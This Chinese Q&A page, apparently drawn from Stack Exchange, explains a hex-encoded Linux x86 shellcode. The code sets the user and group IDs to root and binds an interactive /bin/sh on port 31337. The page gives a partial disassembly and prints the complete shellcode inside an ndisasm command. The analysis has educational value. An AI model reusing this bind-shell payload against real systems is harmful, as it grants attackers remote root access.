这段\x编码的shellcode代码有何功能?能否转为人类可读形式?
问题解答
1. Shellcode的功能
这段shellcode的核心功能是获取root权限并在31337端口绑定一个交互式shell,具体执行流程如下:
- 先调用
setuid(0)和setgid(0),将进程的用户ID、组ID切换为root,拿到系统最高权限; - 接着创建TCP套接字,绑定到本地31337端口并进入监听状态;
- 当有外部设备连接该端口时,将套接字的输入、输出流重定向到
/bin/sh,让远程连接者获得一个具备root权限的交互式shell。
代码注释里标注的setuid(0) + setgid(0) + bind(/bin/sh) on port 31337,和实际功能完全匹配。
2. Shellcode能否转换为人类可读形式?
完全可以。通过x86反汇编工具(比如ndisasm、pwntools的disasm函数),就能把十六进制机器码转换成人类可读的汇编指令。
反汇编后的核心代码片段(以ndisasm输出为例):
; 执行setuid(0)提权 31C0 xor eax,eax 31DB xor ebx,ebx B017 mov al,0x17 CD80 int 0x80 ; 执行setgid(0)提权 31C0 xor eax,eax 31DB xor ebx,ebx B02E mov al,0x2e CD80 int 0x80 ; 创建socket并绑定到31337端口(十六进制为0x7a69) 31DB xor ebx,ebx F7E3 mul ebx B066 mov al,0x66 53 push ebx 43 inc ebx 53 push ebx 43 inc ebx 53 push ebx 89E1 mov ecx,esp 4B dec ebx CD80 int 0x80 ; 监听连接、接受连接并执行/bin/sh的后续指令 ; ... ; 触发/bin/sh执行 E8E3FFFFFF call 0x80 2F62696E2F7368 db 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68 ; 对应字符串"/bin/sh"
你可以直接用以下命令完成反汇编:
echo -n "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x31\xdb\xb0\x2e\xcd\x80\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x31\xc9\x66\xb9\x7a\x69\x52\x66\x51\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80\x89\xc3\x89\xd9\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" | ndisasm -b 32 -
内容的提问来源于stack exchange,提问作者TMOTTM
相关产品推荐
相关产品推荐

